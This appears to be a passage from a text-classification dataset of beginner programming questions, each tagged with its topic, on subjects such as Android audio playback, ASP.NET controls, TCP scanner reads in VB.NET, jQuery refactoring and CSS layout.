calls and unread sms messages to an arduino based device that displays it on an led screen. why  two reasons: first  this is my first android program made for fun. the second is i am not carrying the phone with me at home all the time  and it is typically in my home office. if i did not hear it ringing i will still be able to see the led display telling me i had calls or sms when passing by.,android
creating numerictextbox with the following error is not allowed here because it does not extend class  system.web.ui.page   i know this is a classic error. i ve tried to understand the error  unfortunately i can t. i also have done googling most of them are written in c# not in vb.    what i m going to do is creating an numeric textbox where the input number will be automatically converted to currency format.    input: 1000<br> output shown: 1 000      my project has only following 2 files.    <strong>1. text.aspx</strong>     <pre><code>&lt;%@ page language= vb  src= cls/numerictextbox.aspx.vb  autoeventwireup= false      inherits= daisystory.com.numerictextbox  %&gt;   &lt;html xmlns= http://www.w3.org/1999/xhtml  &gt;       &lt;body&gt;           &lt;form id= form1  runat= server &gt;               &lt;asp:textbox id= mytext  text= 1000  onkeypress= validatenumeric()  runat= server  /&gt;           &lt;/form&gt;       &lt;/body&gt;   &lt;/html&gt;   </code></pre>   <strong>2. numerictextbox.aspx.vb</strong>     <pre><code>imports system   imports system.web.ui   imports system.web.ui.page   imports system.web.ui.webcontrols   imports system.componentmodel  namespace daisystory.com       public class numerictextbox       inherits textbox          protected overrides sub onprerender(byval e as eventargs)             attributes.add( onkeypress    validatenumeric() )              if not (page.isclientscriptblockregistered( validatenumericscript )) then                            page.registerclientscriptblock( validatenumericscript    &lt;script language= javascript &gt;  &amp; chr(13) &amp; _                      function validatenumeric(){  &amp; chr(13) &amp; _                      var keycode = window.event.keycode;  &amp; chr(13) &amp; _                      if (keycode &gt; 57 || keycode &lt; 48)  &amp; chr(13) &amp; _                      window.event.returnvalue = false;}  &amp; chr(13) &amp; _                      &lt;/  &amp; _                      script&gt; )             end if             mybase.onprerender(e)         end sub          public overrides property text as string             get                 return(mybase.text)             end get             set                 mybase.text = convert.toint32(value).tostring()             end set         end property     end class end namespace </code></pre>   <strong>and here is the error:-</strong>     <pre><code>parser error message:  daisystory.com.numerictextbox  is not allowed here because it does not extend class  system.web.ui.page .  source error:   line 1:  &lt;%@ page language= vb  src= cls/numerictextbox.aspx.vb  autoeventwireup= false inherits= daisystory.com.numerictextbox  %&gt; </code></pre>   what should i do <br> your help will be greatly appreciated!!!,asp.net
.net - tcpclient/networkstream communication doesn t give full data stream but still does   i ve encountered a problem regarding communication between a scanner and my program.    the intention is to scan a product by pressing a button and holding a carton with an ean13 code beneath it  the code is then sent to my program with a chr(13) ending character.    while making the porogram i just used another program to simulate tcp/ip connection to a scanner  and it all works fine but when i try to receive data from the scanner at the intended location i only get the first character of the string  and the rest is dropped  or well  if i manually search for the characters above the readdata length i can see them for some reason.    <strong>the only time the program works as intended is if i quickly double press the button that activates the scanner  if so i can sometimes get a good read in my program.</strong>    now some might say to look over the scanner but that s not going to work. the customer have a bunch of production lines with scanners on all of them  they are currently running against a visual basic program that can get the scanner data without a problem (that program is using a tcp/ip drag&amp;drop object in vb).    so the question is if i m doing something stupid with the communication. an example of a code that s sent from the scanner is:    7310865690708[cr]    (cr being chr(13) then). what s weird for me is that i m clearly given the readbyte length 8192  but my program gets a string of length 8205  whith the cr character at the last position. but if i try to print the string i only get the first character of the string that the scanner sends me. but if i run the mid() function at position 8193-8205 i can clearly see all the characters.    what am i doing weird  i can t listen for another loop and add the strings together since i m given the ending character. not sure how to receive the full string.    (the weird loop that looks for the ending character again is an old function i used before  it kinda stayed since it didn t cause any problems).    how the buffer and return data looks like when the communication works:   <ul> <li>scanner buffer size- 8192 -scanner return data length- 13</li> </ul>   how the buffer and return data looks like when the communication fails:   <ul> <li>scanner buffer size- 8192 -scanner return data length- 16386</li> </ul>   or   <ul> <li>scanner buffer size- 8192 -scanner return data length- 8193 (which is odd because i can search for items above 8192)</li> </ul>   code (i can t show all the code  only the scanner function):    also sorry for all the dirty output and commented lines  i ll clean it up when it s working as intended.   <pre><code>private function readscanner(byval sip as string  byval sport as integer  byval id as integer)     dim tcpclient as tcpclient     dim netstream as networkstream      try          need this otherwise the threads will never be shut down unless the connection is broken          tcpclient = new tcpclient(sip  sport)         tcpclient.receivetimeout = 5000         tcpclient.sendtimeout = 2000          netstream = tcpclient.getstream()           scannerstatuslist.items(id) =  online!          scannerstatusthreadlist(id) =  online!           dim bytes(tcpclient.receivebuffersize) as byte         dim returndata as string =            while closeprogram = false              netstream.read(bytes  0  cint(tcpclient.receivebuffersize))             dim readbytes as string = encoding.ascii.getstring(bytes)             returndata = returndata &amp; readbytes             readbytes = readbytes.replace(vbnullchar    )             returndata = returndata.tostring              removeme.text = removeme.text &amp;   ########### -start- ###########               removeme.text = removeme.text &amp;   -character being watched-   &amp; mid(returndata  1  1)             removeme.text = removeme.text &amp;   -character in ascii-   &amp; asc(mid(returndata  1  1))              removeme.text = removeme.text &amp;   -return data string-   &amp; returndata              if len(readbytes) &lt;= 0 then                 netstream.close()                 tcpclient.close()                 return                 elseif returndata.contains(chr(13)) then                 removeme.text = removeme.text &amp;   -found 0d character-                   dim startd as integer = 1                 dim endd as integer = 2                  for i as integer = 0 to len(returndata) - 1                     if returndata(i) = chr(13) then                         endd = i + 1                         removeme.text = removeme.text &amp;   -character at   &amp; i &amp;   =   &amp; mid(returndata  i  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 12 &amp;   =   &amp; mid(returndata  i - 12  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 11 &amp;   =   &amp; mid(returndata  i - 11  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 10 &amp;   =   &amp; mid(returndata  i - 10  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 9 &amp;   =   &amp; mid(returndata  i - 9  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 8 &amp;   =   &amp; mid(returndata  i - 8  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 7 &amp;   =   &amp; mid(returndata  i - 7  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 6 &amp;   =   &amp; mid(returndata  i - 6  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 5 &amp;   =   &amp; mid(returndata  i - 5  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 4 &amp;   =   &amp; mid(returndata  i - 4  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 3 &amp;   =   &amp; mid(returndata  i - 3  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 2 &amp;   =   &amp; mid(returndata  i - 2  1)                         removeme.text = removeme.text &amp;   - at   &amp; i - 1 &amp;   =   &amp; mid(returndata  i - 1  1)                         removeme.text = removeme.text &amp;   - at   &amp; i &amp;   =   &amp; mid(returndata  i  1)                     end if                 next                 removeme.text = removeme.text &amp;   -mid data-   &amp; mid(returndata  startd  13) &amp;   - length -   &amp; len(mid(returndata  startd  13))                 removeme.text = removeme.text &amp;   ########### -end- ###########                    netstream.close()                 tcpclient.close()                  scannerstatuslist.items(id) =  offline!                  scannerstatusthreadlist(id) =  offline!                    msgbox(returndata &amp; vbnewline &amp;  start:   &amp; startd &amp;   -  end:   &amp; endd &amp; vbnewline &amp; mid(returndata  startd  endd))                  msgbox( string length:   &amp; len(returndata) &amp; vbnewline &amp;  start:   &amp; startd &amp;   and forward:   &amp; (endd - startd))                  return mid(returndata  startd  (endd - startd))             end if         end while      catch ex as exception          msgbox(ex.message)         try             netstream.close()             tcpclient.close()              scannerstatuslist.items(id) =  offline!              scannerstatusthreadlist(id) =  offline!           catch ex2 as exception             errorbox.text = datetime.now &amp;   - linjeid (  &amp; id &amp;  ) -   &amp; ex.message              scannerstatuslist.items(id) =  offline!              scannerstatusthreadlist(id) =  offline!               return            end try         errorbox.text = datetime.now &amp;   - linjeid (  &amp; id &amp;  ) -   &amp; ex.message          scannerstatuslist.items(id) =  offline!          scannerstatusthreadlist(id) =  offline!           return        end try      return vbnull end function </code></pre>   sorry in advance for the horrible output format  but it can still be understood i think.    15 scanner activations (or 16 technically since the working example is a double press). but if youi ll look at the output you can see that the 7 is always found in the end  sometimes the program can t find the ending character  but then i assume the program ends because len(readbytes) is 0  so i didn t get any follow up data anyway. also using mid at position 8193 (what should be 7 for me since all the following positions contains the additional data) is always empty.   <ul> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7</li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7 -found 0d character-  -character at 8205 = 8 - at 8193 =  - at 8194 = 3 - at 8195 = 1 - at 8196 = 0 - at 8197 = 8 - at 8198 = 6 - at 8199 = 5 - at 8200 = 6 - at   8201 = 9 - at 8202 = 0 - at 8203 = 7 - at 8204 = 0 - at 8205 = 8 -mid data- 7 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7</li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7 -found 0d character-  -character at 8205 = 8 - at 8193 =  - at 8194 = 3 - at 8195 = 1 - at 8196 = 0 - at 8197 = 8 - at 8198 = 6 - at 8199 = 5 - at 8200 = 6 - at   8201 = 9 - at 8202 = 0 - at 8203 = 7 - at 8204 = 0 - at 8205 = 8 -mid data- 7 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7</li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7 -found 0d character-  -character at 8205 = 8 - at 8193 =  - at 8194 = 3 - at 8195 = 1 - at 8196 = 0 - at 8197 = 8 - at 8198 = 6 - at 8199 = 5 - at 8200 = 6 - at   8201 = 9 - at 8202 = 0 - at 8203 = 7 - at 8204 = 0 - at 8205 = 8 -mid data- 7 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7</li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7 -found 0d character-  -character at 8205 = 8 - at 8193 =  - at 8194 = 3 - at 8195 = 1 - at 8196 = 0 - at 8197 = 8 - at 8198 = 6 - at 8199 = 5 - at 8200 = 6 - at   8201 = 9 - at 8202 = 0 - at 8203 = 7 - at 8204 = 0 - at 8205 = 8 -mid data- 7 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7310865690708 7310865690708 -found 0d character-  -character at 13 = 8 - at 1 = 7 -   at 2 = 3 - at 3 = 1 - at 4 = 0 - at 5 = 8 - at 6 = 6 - at 7 = 5 - at 8 = 6 - at 9 = 9 - at 10 = 0 - at 11 = 7 - at 12 = 0 - at 13 = 8 -character at 27 = 8 - at 15 = 7 - at 16 = 3 - at 17 = 1 - at 18 = 0 - at 19 = 8 - at 20 = 6 - at 21 = 5 - at 22 = 6 - at 23 = 9 - at 24 = 0 - at 25 = 7 - at 26 = 0 - at 27 = 8 -mid data- 7310865690708 - length - 13 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7</li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7 -found 0d character-  -character at 8205 = 8 - at 8193 =  - at 8194 = 3 - at 8195 = 1 - at 8196 = 0 - at 8197 = 8 - at 8198 = 6 - at 8199 = 5 - at 8200 = 6 - at   8201 = 9 - at 8202 = 0 - at 8203 = 7 - at 8204 = 0 - at 8205 = 8 -mid data- 7 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7</li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7 -found 0d character-  -character at 8205 = 8 - at 8193 =  - at 8194 = 3 - at 8195 = 1 - at 8196 = 0 - at 8197 = 8 - at 8198 = 6 - at 8199 = 5 - at 8200 = 6 - at   8201 = 9 - at 8202 = 0 - at 8203 = 7 - at 8204 = 0 - at 8205 = 8 -mid data- 7 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7310865690708  -found 0d character-  -character at 13 = 8 - at 1 = 7 - at 2 = 3 - at 3 = 1 -   at 4 = 0 - at 5 = 8 - at 6 = 6 - at 7 = 5 - at 8 = 6 - at 9 = 9 - at 10 = 0 - at 11 = 7 - at 12 = 0 - at 13 = 8 -mid data- 7310865690708 - length - 13 ########### -end- ########### </li> <li>##### -start- ###########  -character being watched- 7 -character in ascii- 55 -return data string- 7310865690708  -found 0d character-  -character at 13 = 8 - at 1 = 7 - at 2 = 3 - at 3 = 1 -   at 4 = 0 - at 5 = 8 - at 6 = 6 - at 7 = 5 - at 8 = 6 - at 9 = 9 - at 10 = 0 - at 11 = 7 - at 12 = 0 - at 13 = 8 -mid data- 7310865690708 - length - 13 ########### -end- ########### </li> </ul>,.net
is there any difference between ref list and normal list  <pre><code>static void main(string[] args)  {     list &lt; person &gt; person = new list &lt; person &gt; ();     person.addrange(new list &lt; person &gt; {         new person { name =  1  }          new person { name =  2  }          new person { name =  3  }          new person { name =  4  }      });          program.cha(ref person);     program.change(person);     console.readline(); }  class person  {    public string name { get; set; } }  static void change(list &lt; person &gt; list)  {    list.foreach(x =&gt; console.writeline(x.name)); }  static void cha(ref list &lt; person &gt; list)  {    list.foreach(x =&gt; console.writeline(x.name)); } </code></pre>   what is the exact difference between <code>change(list&lt;person&gt; list)</code> and  <code>cha(ref list&lt;person&gt; list)</code>. i am just curious if there is any particular difference between these two.,c#
default checking a checkbox  is there a difference between these two ways of default checking a checkbox:   <pre><code>document.getelementbyid(checkboxid).defaultchecked = checked; </code></pre>   vs   <pre><code>document.getelementbyid(checkboxid).checked = checked; </code></pre>,html
angular loop through nested json array  i have the following json structure   <pre><code>      bonds : [ {    name :  bond_0      interface : [      nic_0        nic_1    ]     mode :  active_standby      primary_interface :  nic_0  }  {    name :  bond_1      interface : [      nic_0        nic_1    ]     mode :  active_standby      primary_interface :  nic_0  } </code></pre>   ]    i need to loop and display the data in a table. although i can display all the values ihave trouble to display the interface array. i tried to do this with ng-repeat= interface in bond.interfaces but it is not working. your help will be appreciated  at my view  the code is    <pre><code>&lt;table class= table &gt;             &lt;tr&gt;               &lt;th&gt;name&lt;/th&gt;               &lt;th&gt;interface&lt;/th&gt;               &lt;th&gt;mode&lt;/th&gt;               &lt;th&gt;primary interface&lt;/th&gt;             &lt;/tr&gt;             &lt;tr ng-repeat= bond in bonds &gt;               &lt;td&gt;&lt;div&gt;{{bond.name}}&lt;/div&gt;&lt;/td&gt;               &lt;td&gt;&lt;table&gt;&lt;tr ng-repeat= interface in bond.interfaces &gt;&lt;td&gt;{{interface}}&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;               &lt;td&gt;{{bond.mode}}&lt;/td&gt;               &lt;td&gt;{{bond.primary_interface}}&lt;/td&gt;             &lt;/tr&gt;           &lt;/table&gt; </code></pre>,angularjs
how to read static files from jar useing spring mvc   how can i use spring mvc to read static files from jar  i used    <pre><code>&lt;mvc:resources mapping= /static/**  location= classpath*:/static /&gt;; </code></pre>     but it didn t work.,java
javascript - get milliseconds from float seconds  i got a string that represents seconds (e.g value is  14.76580 ). i want to set a new variable that has the value of the decimal portion (milliseconds) of that string ( e.g x = 76580 ) and i m not sure what s the best way to do that. may you help please,javascript
relative date from unix timestamp with php  i ve seen a few other people talking about relative dates  but i still haven t managed to get it working properly.    my script pulls a unix timestamp from a mysql database and i would like the it to display something like this:   <blockquote>    2 minutes ago<br>   16 hours ago<br>   on tuesday 10th november at 7pm  </blockquote>   thanks to anyone who can help.,php
how to add columns to csv using php  i need to add columns to an existing csv file  but i can t find any solution to the problem.i have used  \t  and chr(9) to create columns but no success so please help me by providing me the right solution if any one can,php
android : not able to stop the audio from the same button  i m working on an app in which there is a grid layout with 8 buttons and each attached to a sound. now i m able to play the audio on the click of a button but when i press the same button again the audio doesn t stop.     all my buttons are attached to a common onclick method and the class file retrieves the id of the button and matches with the sound file present in the raw folder.    i m using a flag for this but don t know where i m going wrong.    my code   <pre><code>    boolean play = true;     mediaplayer mediaplayer;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);        }      public void buttontapped(view view)     {            int id = view.getid();         string ourid =   ;            ourid = view.getresources().getresourceentryname(id);          int resourceid = getresources().getidentifier(ourid   raw    com.starprojects.gridlayoutdemo );         mediaplayer = mediaplayer.create(this resourceid);           if(play)         {              mediaplayer.start();             play = false;         }         else {           //  mediaplayer.stop();             mediaplayer.release();             mediaplayer = null;             //   play = true;         }         // mediaplayer = null;          log.i( button tapped  ourid);     } } </code></pre>,android
how do you access the member functions of a class within another class   lets say i have a file such as:   <pre><code>//stuff.h class outer {     public:     print_inner();      private:     class inner     {         public:         inner(int stuff){         //code         }     }; }; </code></pre>   if i want to access the function inner(int stuff) in my main do i do use these following lines for example    <pre><code>//stuff.cpp include  stuff.h   outer::print_inner(){     int a = 4;     inner* temp = new inner;     temp.inner(a); // is this how we access our inner function      //some more code } </code></pre>,c++
set variable as an input whose parent s index matches another variable  i have a webform where i am trying to manipulate the value of some readonly text inputs based on dropdown selections.    html (abbreviated) basically looks like this:   <pre><code>&lt;fieldset class= container &gt;     &lt;fieldset class= foo-points-fs &gt;         &lt;div&gt;             &lt;selector id= foo-bar1-points &gt;                 &lt;option&gt;1&lt;/option&gt;                 &lt;option&gt;2&lt;/option&gt;             &lt;/selector&gt;         &lt;/div&gt;         &lt;div&gt;             &lt;selector id= foo-bar2-points &gt;                 &lt;option&gt;1&lt;/option&gt;                 &lt;option&gt;2&lt;/option&gt;             &lt;/selector&gt;         &lt;/div&gt;     &lt;/fieldset&gt;     &lt;fieldset class= foo-weight-fs &gt;         &lt;div&gt;             &lt;input readonly= readonly  value= 1  id= foo-bar1-weight /&gt;         &lt;/div&gt;         &lt;div&gt;             &lt;input readonly= readonly  value= 2  id= foo-bar2-weight /&gt;         &lt;/div&gt;     &lt;/fieldset&gt;     &lt;fieldset class= foo-score-fs &gt;         &lt;div&gt;             &lt;input readonly= readonly  value= 0  id= foo-bar1-score /&gt;         &lt;/div&gt;         &lt;div&gt;             &lt;input readonly= readonly  value= 0  id= foo-bar2-score /&gt;         &lt;/div&gt;     &lt;/fieldset&gt; &lt;/fieldset&gt; </code></pre>   on the page  these basically look like table rows where you have a column of dropdowns the user will select from with columns for weight and score next to it. so each set of <code>selector</code>  <code>input</code>  and <code>input</code> is one row.    what i would like to do is change the value of the inputs within the <code>.score</code> fieldset according to the value of the selector and weight input in the same row – i.e.  those whose parent divs  indexes are equal to their corresponding selector s parent div s index.    the part i am having trouble figuring out is how to say  in jquery  to set a variable to  the input whose parent div s index is equal to another selector/input s parent div s index.     here s what i ve got so far:   <pre><code>jquery( fieldset.container select[id$= -points ] ).change(function() {      var sel = jquery(this)          fs = sel.parents( fieldset[id$= -points-fs ] )          droppar = sel.parent( div )          dropndx = droppar.index()          weightinput = fs.find( input[id$= -weight] )          scoreinput = fs.find( input[id$= -score ] )          weight = weightinput.parent( div ).index(dropndx)  // problem is here  i assume         score = scoreinput.parent( div ).index(dropndx); // problem is here  i assume    score.val(weight.val() * sel.val());  }); </code></pre>   help please,jquery
how to show less column in an asp.net gridview/listview when browser come from a mobile device   i have an asp.net listview that show (for instance) 10 columns. from a desktop browser point of view  there isn t any problem.  but i would like to allow my users to see same listview with less columns when they browse my website from a mobile desktop (tablet/iphone etc.).     is it possible to programmaticaly check this       i think  for example  to create 2 listview  and via server side code  check browser/screen resolution  then hide and show the correct listview...,asp.net
how can i execute one by one statement after delaying some time in iphone   i have a problem in iphone programing.    in my app i want to execute one by one statement after delaying some time.    example:   <pre><code>label1.text =@ 2 ; </code></pre>   then after delaying some time i want execute:   <pre><code>label2.text =@ 3 ; </code></pre>   then after delaying some time i want execute:   <pre><code>label2.text =@ 8 ; </code></pre>   then after delaying some time i want execute:   <pre><code>label2.text =@ 6 ; </code></pre>,iphone
how do i code my submit button go to an email address  my send an email button isn t working  here s my html. does anyone see a problem    <pre><code>&lt;input type= submit  value= submit email to: info@whatshouldisay.ca  &lt;a href= mailto:info@whatshouldisay.ca &gt; </code></pre>,html
php shorthand if/else ternary  how can i make this a one or two line shorthand ternary    <pre><code>if ($tame == null):      echo $tame =  0  .  &lt;br /&gt; ; else:      echo $tame .  &lt;br /&gt; ; endif; </code></pre>,php
javascript in chrome: how to find function definition from html elements tab   i m looking at an html tag that has an onclick function call  but i m having trouble finding the definition of that function:    <code>&lt;input id= search_button  name= submit  onclick=“checkthething(false)  type= button  class= button  value= search for stuff”&gt;</code>    in an editor like eclipse or jetbrains  i can ctrl+click the function call to find its definition  but the problem with digging through repo source code is that it can take more time and have more red herrings  and regardless it s not necessarily using the same files and definitions that it appears to be in the browser (and file include paths may be dynamically generated or in unexpected folders etc).    all i seem to be able to do in chrome is copy the function call s name and do a ctrl+f search or a ctrl+shift+f search  which is showing 0 results... this means i ll have to dig through each .js file or whatever file extension it has. if i could just x-click a function call to see its definition  then x-click a function call or var inside of that to see its instantiation etc  then it would save me a lot of time!,javascript
how to find an c# application running under username  system  or not  i searched quite a few answers in stackoverflow but can t make it work.    this is my code:   <pre><code>bool active = process.getprocessesbyname( exename ).any(); </code></pre>   as you can see  active  gets true when the process  exename  is running  but i want it more precise  i want to keep it in false state if the process  exename  is running under system as well.    please help!,c#
creating something more reusable  i have the following which i seem to be repeating a lot of the same code.   <pre><code>        $( .announcementstitle1 ).prepend(response.posts.data[0].name);         $( .announcementstitle2 ).prepend(response.posts.data[1].name);         $( .announcementstitle3 ).prepend(response.posts.data[2].name);         $( .announcementstitle4 ).prepend(response.posts.data[3].name);         $( .announcementstitle5 ).prepend(response.posts.data[4].name);          $( .announcementstext1 ).prepend(response.posts.data[0].message);         $( .announcementstext2 ).prepend(response.posts.data[1].message);         $( .announcementstext3 ).prepend(response.posts.data[2].message);         $( .announcementstext4 ).prepend(response.posts.data[3].message);         $( .announcementstext5 ).prepend(response.posts.data[4].message);          $( .announcementstext1 ).append(response.posts.data[0].description);         $( .announcementstext2 ).append(response.posts.data[1].description);         $( .announcementstext3 ).append(response.posts.data[2].description);         $( .announcementstext4 ).append(response.posts.data[3].description);         $( .announcementstext5 ).append(response.posts.data[4].description);          $( .announcementsimage1 ).attr( src  response.posts.data[0].full_picture);         $( .announcementsimage2 ).attr( src  response.posts.data[1].full_picture);         $( .announcementsimage3 ).attr( src  response.posts.data[2].full_picture);         $( .announcementsimage4 ).attr( src  response.posts.data[3].full_picture);         $( .announcementsimage5 ).attr( src  response.posts.data[4].full_picture);] </code></pre>   is there a way i could refactor something like this,jquery
how do i assign incremental names to elements of a list   how do i assign incremental names in a list    <pre><code>&gt;&gt;&gt; cclist [ az &lt;az@example.com&gt;    cc777 &lt;cc777@example.com&gt;    user11 &lt;user11@example.com&gt; ] &gt;&gt;&gt; for i in range(len(cclist)):     mailtuple = parseaddr(cclist[i])     cc = mailtuple[0]     print cc  az cc777 user11 &gt;&gt;&gt;  &gt;&gt;&gt; for i in range(3):     name =  name +str(i)     print name  name0 name1 name2 &gt;&gt;&gt; </code></pre>   i was trying to end up with    <pre><code>name0 = az name1 = cc77 name2 = user11 </code></pre>   so that i can refer to these names later. how can i do this  basically  i don t understand how to write this:   <pre><code>&gt;&gt;&gt; for i in range(len(cclist)):     mailtuple = parseaddr(cclist[i])     cc = mailtuple[0]      name +str(i) = cc     .... </code></pre>   of course  this does not work. thanks!    <strong>update</strong>    thanks to everyone with great answers! i think this list solution by <a href= https://stackoverflow.com/questions/4320163/how-do-i-assign-incremental-names-to-elements-of-a-list/4320268#4320268 >thomas k</a> will work in this case; except that i could not solve how to print if cc recipients are other than 3:    <pre><code>&gt;&gt;&gt; ccnames = []  &gt;&gt;&gt; for i in range(len(cclist)):     mailtuple = parseaddr(cclist[i])     cc = mailtuple[0]     ccnames.append(cc)  &gt;&gt;&gt;  sender attached %s ccs which are %s  %s  and %s  % (len(ccnames)  ccnames[0]  ccnames[1]  ccnames[2])  sender attached 3 ccs which are az  cc777  and user11  &gt;&gt;&gt; </code></pre>   so how do i fix the code so that if there are other than 3 ccs  it still prints all cc recipients,python
strange printf behaviour  <pre><code>[cprg]$ cat test.c #include  &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(int argc char *argv[]) {         int i=10;         printf( i=%d\ni++=%d\n++i=%d\n  i i++ ++i);         return 0; } [cprg]$ make gcc -g -wall -o test test.c test.c: in function ‘main’: test.c:7: warning: operation on ‘i’ may be undefined test.c:7: warning: operation on ‘i’ may be undefined [cprg]$ ./test i=12 i++=11 ++i=12 </code></pre>   i have no idea why this thing is happening. please can anyone  explain me in detail as to what is happening here,c
how to make xmlhttprequest periodically   i want to loop an httprequest every 5 seconds.    here is my code :   <pre><code>var xmlhttp2 = new xmlhttprequest(); var url2 =  http:... ; xmlhttp2.onreadystatechange = function() {  if (xmlhttp2.readystate == 4 &amp;&amp; xmlhttp2.status == 200) {     var response2 = xmlhttp2.responsetext;     var response2 = xmlhttp2.responsetext;     var json2  = json.parse(response2);      for (var i = 2; i &lt; json2.length; i++){         document.getelementbyid( table2 ).innerhtml +=  &lt;tr&gt;&lt;td&gt;  + json2[i].nm +  &lt;/td&gt;&lt;td&gt;  + json2[i].id +  &lt;/td&gt;&lt;td id= uid_ +i+  &gt;  + json2[i].stn +  &lt;/td&gt;&lt;/tr&gt; ;  }  } xmlhttp2.open( get   url2  true); xmlhttp2.send(); </code></pre>   i tried to put this whole code in a function and called   <pre><code>setinterval(myfunction 5000); </code></pre>   this works. however the table is displaying several times.    i tried   <pre><code>setinterval( xmlhttp2.send();  5000); </code></pre>   and this doesn t work. the request is made only once.    any advice      thank you,javascript
why the css alignment is different from firefox3.0.11 and firefox 3.5  why the css alignment is different from firefox3.0.11 and firefox 3.5,css
css column height and textarea  i have two-column layout with a header and footer. <a href= http://jsfiddle.net/njpmj/  rel= nofollow >i have created a jsfilddle with demonstrating this</a>.    the left-column will normally have more content than the right-column.   <ol> <li> how can i get the right-column to expand to the height of the left column  or just fill the height of the view-port  i have sene examples of something similar  but not with a footer that is always at the bottom of the display. </li> <li> how can i get the textarea to fill the height of its parent  the right column (i haven t even got close to solving this one). </li> </ol>,css
object reference not set to an instance of an object - explanation   i am looking for steps/guidance to troubleshoot the error <code>object reference not set to an instance of an object.</code> and an explanation of why the issue occurs.    i am looking for a more general explanation  so if i get the error  what steps i should take to find the problem. i often see posts where someone provides a specific piece of code  and someone else will provide the fixed code (sometimes). if simple code examples are provided to illustrate this problem  that s fine.    i need a high level explanation.,.net
trouble with user defined variables  i am working on a project for my sql class and we are doing a project based off the board game monopoly. i have to use a  user-defined variable  to show the places on the board that are red. here are the contents of my table <code>street_by_color_v</code>:   <pre><code>color_name  site_label       order_site  purple      mediterranean avenue    2 purple      baltic avenue   4 light blue  oriental avenue 7 light blue  vermont avenue  9 light blue  connecticut avenue  10 violet      st. charles place   12 violet      states avenue   14 violet      virginia avenue 15 orange      st. james place 17 orange      tennessee avenue    19 orange      new york avenue 20 red         kentucky avenue 22 red         indiana avenue  24 red         illinois avenue 25 yellow      atlantic avenue 27 yellow      ventor avenue   28 yellow      marvin gardens  30 green       pacific avenue  32 green       north carolina avenue   33 green       pennsylvania avenue 35 royal blue  park place  38 royal blue  boardwalk   40 </code></pre>   here is my code:   <pre><code>set @s_color:= red ; </code></pre>   when i execute  i run the code:   <pre><code>select site_label from street_by_color_v where color_name=@s_color; </code></pre>   and it doesn t work.,mysql
rails do block returning user and not collaborators  i m needing some help with a do block that is returning the wrong generated link. i know it s a simple fix but i can t seem to figure it out as i m fairly new to rails so bare with me.    i am building an app clone of wikipedia where there are wikis  users  and now collaborators. this clone is for a project tutorial but the specific step of implementing collaborators into the view is confusing me. with the code posted below  i m getting a generated link on my user#show of the current user. <strong>what i really need is a list of wikis where the current user is the collaborator.</strong>    let me know if any other code is needed to assist with the fix and thank you in advance for any help.    <strong>user show view</strong>   <pre><code>    &lt;div class= col-sm-4 &gt;       &lt;div class= col-md-4 &gt;         &lt;% @collaborator.each do |collaborator| %&gt;         &lt;div class= row &gt;           &lt;ul&gt;             &lt;li&gt;&lt;%= link_to collaborator %&gt;&lt;/li&gt;           &lt;/ul&gt;         &lt;/div&gt;         &lt;% end %&gt;       &lt;/div&gt;     &lt;/div&gt; </code></pre>   <strong>user controller</strong>   <pre><code>def show     @user = user.find(params[:id])     @wikis = @user.wikis     @wiki = wiki.find(params[:id])     @collaborators = collaborator.all     @collaborator = @wiki.collaborators.find_by(:user_id =&gt; current_user.id) end </code></pre>   <strong>user model</strong>   <pre><code>class user &lt; activerecord::base   has_many :wikis   has_many :collaborators   has_many :collaborating_wikis  through: :collaborators  foreign_key:  wiki_id   class_name:  wiki    validates :wiki_id  presence: true end </code></pre>   <strong>wiki model</strong>   <pre><code>class wiki &lt; activerecord::base   belongs_to :user   has_many :collaborators   has_many :users  through: :collaborators   validates :user_id  presence: true end </code></pre>   <strong>collaborator model</strong>   <pre><code>class collaborator &lt; activerecord::base   belongs_to :user   belongs_to :wiki   validates :wiki_id  :user_id  presence: true   validates :wiki_id  uniqueness: { scope: [:wiki_id  :user_id] } end </code></pre>,ruby-on-rails
css float issue ff only(i think)  i m having a weird float problem on my site in firefox.    <a href= http://www.pianocourse.co.uk/soundintheclouds/composer/listen/  rel= nofollow >pianocourse</a>    the meta and tweet link should appear at the bottom of the modules. there are floated elements prior to the div.meta    have tried  overflow: auto clear: both    possibly a syntax problem i havent spotted. if anyone can have a look.. much appreciated.,css
